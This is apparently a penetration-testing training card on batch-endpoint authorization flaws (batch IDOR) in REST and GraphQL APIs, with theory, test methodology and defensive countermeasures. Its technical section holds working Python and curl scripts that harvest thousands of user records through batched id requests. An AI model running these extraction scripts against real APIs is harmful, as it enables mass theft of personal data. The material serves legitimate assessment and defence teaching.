Batch endpoint abuse
Theory
Why This Matters
Batch API endpoints are designed to reduce network round-trips for legitimate clients, but they are frequently implemented without applying authorization checks to each item in the batch — only to the batch request itself. This design error allows an attacker to enumerate and exfiltrate an entire dataset in a single authenticated request. CVE-2019-5418 (Rails file disclosure) was amplified by batch-style endpoints in several downstream applications. The OWASP API Security Top 10 2023 lists "Broken Object Level Authorization" (BOLA/IDOR) as the number-one API vulnerability; batch endpoints amplify IDOR from per-user to dataset-wide impact. In a 2021 assessment documented by Assetnote, a single GraphQL batch query returned 2 million customer records — each individually accessible only to the record owner — because per-item authorization was never implemented.
Core Concept
A batch endpoint accepts multiple resource identifiers in a single request and returns multiple resources in a single response. Common implementations:
GET /api/users?ids=101,102,103
POST /api/users/batch {"ids": [101, 102, 103]}
GET /api/orders?user_id=me&ids[]=1&ids[]=2&ids[]=3
GraphQL batching is a standard feature of the GraphQL protocol that allows multiple query operations in a single HTTP request as a JSON array:
[{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
...]
The vulnerability arises when the authorization check is performed at the request level rather than at the item level: the server verifies that the caller is authenticated (has a valid session) and is authorized to call the batch endpoint, but does not verify that each individual ID in the array belongs to the caller.
An IDOR (Insecure Direct Object Reference) vulnerability grants access to a single unauthorized record. A batch IDOR vulnerability amplifies this to all records in the system: instead of manually incrementing IDs one at a time (rate-limited, slow), the attacker submits all IDs in a single batch request, extracting the full dataset in one operation.
Distinguishing batch abuse from IDOR: IDOR grants access to one record per request; batch abuse extracts N records per request. From an authorization model perspective, the root cause is the same (missing per-object authorization), but the impact is exponentially greater and the exploitation is far faster.
Rate limit interaction: Many APIs enforce rate limits per HTTP request. A batch endpoint that processes 10,000 items counts as one request, effectively multiplying the data exfiltration rate by 10,000 relative to a rate-limited single-item endpoint.
Technical Deep-Dive
# ── REST batch endpoint abuse ─────────────────────────────────────────────
import requests
BASE_URL = "https://api.example.com"
SESSION = "your-session-token"
HEADERS = {"Authorization": f"Bearer {SESSION}", "Content-Type": "application/json"}
# Step 1: Confirm single-item access to own record
r = requests.get(f"{BASE_URL}/api/users/me", headers=HEADERS)
my_user = r.json()
print("[+] Own user ID:", my_user["id"])
# Step 2: Probe batch endpoint with two known IDs
batch_probe = requests.get(
f"{BASE_URL}/api/users",
params={"ids": "1,2"},
headers=HEADERS,
)
print("[+] Batch probe status:", batch_probe.status_code)
print("[+] Batch probe response:", batch_probe.json())
# Step 3: Mass extraction — request a range of IDs
ids = list(range(1, 10001)) # IDs 1-10000
ids_str = ",".join(str(i) for i in ids)
resp = requests.get(
f"{BASE_URL}/api/users",
params={"ids": ids_str},
headers=HEADERS,
timeout=120,
)
if resp.status_code == 200:
data = resp.json()
print(f"[+] Extracted {len(data)} records")
for record in data[:5]: # Print first 5 as proof-of-concept
print(f" ID={record.get('id')} email={record.get('email')} name={record.get('name')}")
else:
print(f"[-] Status {resp.status_code}: {resp.text[:200]}")
# ── GraphQL batching abuse ─────────────────────────────────────────────────
import json
def graphql_batch_extract(base_url, token, id_range):
"""Extract user records via GraphQL batching."""
query_template = "{{ user(id: {id}) {{ id email phone createdAt }} }}"
batch_payload = [{"query": query_template.format(id=i)} for i in id_range]
resp = requests.post(
f"{base_url}/graphql",
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
json=batch_payload,
timeout=120,
)
if resp.status_code == 200:
results = resp.json() # List of {"data": {...}, "errors": [...]}
records = [r["data"]["user"] for r in results if r.get("data", {}).get("user")]
return records
return []
records = graphql_batch_extract(BASE_URL, SESSION, range(1, 501))
print(f"[+] GraphQL batch: {len(records)} records returned")
# Quick curl test — batch endpoint with array of IDs
curl -s "https://api.example.com/api/users?ids=1,2,3,100,999"
-H "Authorization: Bearer $TOKEN"
| python3 -m json.tool | head -40
# GraphQL batch via curl
curl -s -X POST "https://api.example.com/graphql"
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '[{"query":"{ user(id:1){ id email } }"},{"query":"{ user(id:2){ id email } }"},{"query":"{ user(id:3){ id email } }"}]'
| python3 -m json.tool
Security Assessment Methodology
- Discover batch endpoints — Review API documentation (Swagger/OpenAPI). Search source maps and JS bundles for
?ids=or/batchURL patterns. Spider the application in Burp and filter for requests containing array parameters. - Confirm single-item IDOR first — Request a single resource ID that does not belong to the authenticated user. If the server returns the resource, IDOR exists at the item level. Batch abuse amplifies this finding.
- Test array parameter acceptance — Modify a normal single-ID request to supply multiple IDs:
?id=1→?ids=1,2,3or?id[]=1&id[]=2. Observe whether the response contains multiple records. - Measure batch size limits — Increment the number of IDs: 10, 100, 1000, 10000. Identify whether the server enforces a maximum batch size. If no limit exists, the endpoint can return the entire dataset.
- Test GraphQL batching — Wrap multiple GraphQL queries in a JSON array and submit as a single POST. Observe whether each query is independently authorized or all execute under the same (insufficient) authorization.
- Document extraction volume and sensitivity — Record the maximum number of records returned, the data fields exposed (PII, credentials, payment data), and the number of HTTP requests required. This drives the CVSS impact score.
Defensive Countermeasure — Perform authorization checks on every item in a batch, not on the batch request itself. Enforce a server-side maximum batch size (e.g., 100 items). Log batch requests with item count and apply anomaly detection for unusually large batches. For GraphQL, disable or depth-limit batching in the server configuration (
apollo-serveroptionallowBatchedHttpRequests: falseor set a query depth limit). Apply the same per-object ownership check used for single-item endpoints to every item in a batch.
Common Assessment Errors
- Skipping batch testing when single-item IDOR is absent — Authorization may be implemented correctly for single items but absent for batch. Test batch endpoints independently even if single-item access control appears correct.
- Only testing GET batch parameters — POST body batch requests (
{"ids": [...]}) are equally common. Test both HTTP methods and both query-string and body parameter formats. - Missing GraphQL array batching — GraphQL batching uses a JSON array at the HTTP level, not a query-level parameter. It is not visible in the GraphQL schema; only in the HTTP body format.
- Not checking response size limits as a proxy for data volume — If the server returns a response size limit error (413, 507), the batch endpoint likely lacks a proper per-item cap and is processing the full requested set before truncating.
- Failing to test non-integer ID types — Some batch endpoints accept UUIDs, email addresses, or usernames as identifiers. Test enumeration of these identifier types in batch payloads.
- Confusing pagination and batching — Pagination returns sequential records; batching returns specific records by ID. Both can leak data but via different mechanisms. Test each independently.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0007 | Knowledge of authentication, authorization, and access control methods | Explains the per-request vs per-item authorization distinction that creates batch IDOR |
| K0065 | Knowledge of policy-based controls for data access | Connects batch authorization failure to data access policy design |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Maps batch abuse to OWASP API Security Top 10 BOLA and real assessment findings |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains batch size probing and GraphQL batching detection |
| T0028 | Conduct and support authorized penetration testing on enterprise networks | Provides a stepwise methodology from endpoint discovery through volume documentation |
| T0570 | Conduct application security assessments | Frames batch endpoint testing as required for REST and GraphQL API assessments |
Further Reading
- OWASP API Security Top 10 2023, API1: Broken Object Level Authorization — OWASP Foundation
- Assetnote Research: GraphQL Batching for Mass Data Extraction — Assetnote Blog
- GraphQL Specification: Request Batching — graphql.github.io (offline reference)
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.